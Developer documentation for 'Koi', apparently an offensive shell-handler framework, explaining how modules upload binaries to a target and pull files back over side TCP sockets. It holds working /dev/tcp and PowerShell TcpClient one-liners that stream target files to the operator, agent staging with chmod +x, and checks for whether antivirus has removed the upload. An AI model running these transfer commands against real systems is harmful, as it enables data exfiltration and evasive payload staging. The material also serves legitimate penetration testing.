Skip to content

Module Development - File Transfer

Koi never uses the shell stream to transfer binary data, it's fragile (encoding issues, prompt noise, ANSI sequences). All transfers go through a side TCP channel: a dedicated socket opened between your machine and the target, separate from the interactive shell.


Uploading to the Target

self._upload_bytes(raw, dest, timeout=30.0, on_progress=None) -> bool

Transfers raw bytes to dest on the target. Handles Linux and Windows automatically. Returns False on TCP error or if the file was not written (permission denied, etc.).

bar = self.ui.ProgressBar(total=len(raw))
ok  = self._upload_bytes(raw, "./agent", timeout=60, on_progress=bar.update)
bar.done()
print()
if not ok:
    self.err("Upload failed.")
    return
  • On Linux it uses cat < /dev/tcp/<ip>/<port> > dest.
  • On Windows it sends a PowerShell TCP-read command via _dispatch_ps.
  • Relative paths (./agent, .\agent.exe) are resolved against the remote shell's current working directory.

Post-transfer verification is the caller's responsibility, AV/EDR may silently delete the file after upload.

# Linux verification
result = self.exec(f"test -s {dest} && echo OK || echo MISS")
if "OK" not in result.stdout:
    self.err("File missing after upload.")
    return
self.exec(f"chmod +x {dest}")

# Windows verification
check = self._win_query(f"(Test-Path '{dest}').ToString()")
if check.strip().lower() != "true":
    self.err("File missing after upload, likely removed by AV.")
    return

Downloading from the Target

Downloads work in reverse: you open a local TCP listener, tell the remote to connect and send the file, then collect the bytes.

TCPReceiveServer

The recommended way to receive data from the target.

from koi.modules.blueprint import KoiModule, TCPReceiveServer

Constructor:

TCPReceiveServer(timeout=30.0, on_progress=None)
Parameter Description
timeout Seconds to wait for connection and full transfer
on_progress Optional fn(bytes_received: int) called after each chunk

Methods:

Method Returns Description
.start() self Binds socket, starts background thread, sets .port
.collect() bytes Blocks until done. Raises RuntimeError or TimeoutError on failure
.stop() - Closes socket (called automatically on context manager exit)

Full download pattern:

bar  = self.ui.ProgressBar(total=remote_size or 0)
srv  = TCPReceiveServer(timeout=60, on_progress=bar.update).start()
port = srv.port

if os_type == "linux":
    self.exec(f"cat {quoted} > /dev/tcp/{local_ip}/{port}", timeout=60)
else:
    ps_cmd = (
        f"$_c=New-Object Net.Sockets.TcpClient('{local_ip}',{port});"
        f"$_s=$_c.GetStream();"
        f"$_f=[IO.File]::OpenRead((Get-Item '{remote_path}').FullName);"
        f"$_b=New-Object byte[] 65536;"
        f"while(($_n=$_f.Read($_b,0,$_b.Length))-gt 0){{$_s.Write($_b,0,$_n)}};"
        f"$_f.Close();$_s.Flush();$_c.Close()"
    )
    self._dispatch_ps(ps_cmd)

try:
    raw = srv.collect()
except (RuntimeError, TimeoutError) as exc:
    self.err(f"Transfer failed: {exc}")
    return
bar.done()
print()

with open(local_path, "wb") as f:
    f.write(raw)

Note

On Windows, use (Get-Item '{path}').FullName to resolve relative paths before passing to [IO.File]::OpenRead. .NET and PowerShell use different working directories.


Local Cache

The built-in cache stores files locally under ~/.koi/cache/ so they remain available even when the operator is offline. It is a simple key-value store, the fallback logic is up to the module author.

from koi.utils.cache import put_cache, get_cache, has_cache, cache_path

put_cache(name, data) -> None

Store bytes in the cache under name.

put_cache("my_tool.exe", raw_bytes)

get_cache(name) -> bytes | None

Return cached bytes, or None if not cached yet.

raw = get_cache("my_tool.exe")
if raw is None:
    raw = download_from_github()
    put_cache("my_tool.exe", raw)

has_cache(name) -> bool

Check existence without reading.

cache_path(name) -> Path

Return the full path of the cached file, useful for notifications.

self.warn(f"Using cached version ({cache_path('my_tool.exe')})")

Example - Windows upload with AV check

ok = self._upload_bytes(raw, dest, timeout=60)
if not ok:
    self.err("Transfer failed.")
    return

time.sleep(1.0)   # give AV time to act
check = self._win_query(f"(Test-Path '{dest}').ToString()")
if check.strip().lower() != "true":
    self.err("File not present after upload, likely removed by AV.")
    return

self.ok(f"Uploaded to {dest}")